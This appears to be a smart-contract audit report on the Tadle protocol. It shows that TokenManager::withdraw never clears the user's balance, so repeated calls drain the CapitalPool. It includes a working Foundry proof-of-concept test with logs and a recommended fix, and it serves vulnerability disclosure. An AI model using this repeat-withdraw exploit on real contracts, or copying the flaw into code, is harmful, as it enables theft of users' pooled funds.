Summary
The withdraw
function in the TokenManager
contract retrieves the amount of tokens claimable by the user from userTokenBalanceMap
into the claimAbleAmount
variable. This amount is then transferred to the user who calls the withdraw
function. However, the function fails to update userTokenBalanceMap
after the withdrawal. As a result, users can repeatedly call withdraw
to drain the CapitalPool
contract until its balance is less than the claimAbleAmount
.
https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L137-L189
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
@> uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
@> claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
@> payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
@> claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
@> claimAbleAmount
);
}
Vulnerability Details
PoC:
function test_multiple_withdraws_ask_offer_turbo_usdc() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.prank(user2);
preMarktes.createTaker(offerAddr, 500);
uint256 userTokenBalanceSalesRevenueBeforeWithdraw = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
console2.log("`user` sales revenue BEFORE withdrawal (`TokenManager::userTokenBalanceMap` mapping): ", userTokenBalanceSalesRevenueBeforeWithdraw);
uint256 capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance before `user` withdrawal: ", capitalPoolBalance);
vm.startPrank(user);
capitalPool.approve(address(mockUSDCToken));
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 userTokenBalanceSalesRevenueAfterWithdraw = tokenManager.userTokenBalanceMap(
address(user),
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
console2.log("`user` sales revenue AFTER withdrawal (`TokenManager::userTokenBalanceMap` mapping): ", userTokenBalanceSalesRevenueAfterWithdraw);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` first withdrawal: ", capitalPoolBalance);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` second withdrawal: ", capitalPoolBalance);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
console2.log("capitalPool balance after `user` third withdrawal: ", capitalPoolBalance);
deal(address(mockUSDCToken), address(capitalPool), 1e16);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
capitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
assertEq(capitalPoolBalance, 0);
}
Logs:
`user` sales revenue BEFORE withdrawal (`TokenManager::userTokenBalanceMap` mapping): 5000000000000000
capitalPool balance before `user` withdrawal: 17175000000000000
`user` sales revenue AFTER withdrawal (`TokenManager::userTokenBalanceMap` mapping): 5000000000000000
capitalPool balance after `user` first withdrawal: 12175000000000000
capitalPool balance after `user` second withdrawal: 7175000000000000
capitalPool balance after `user` third withdrawal: 2175000000000000
Steps to reproduce the test:
Copy-paste the provided PoC in test/Premarkets.t.sol::PreMarketsTest
Run forge test --mt test_multiple_withdraws_ask_offer_turbo_usdc -vv
in the terminal
Impact
CapitalPool
token balances drainage.
Tools Used
Manual review
Recommendations
Update the userTokenBalanceMap
in the TokenManager::withdraw
function
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}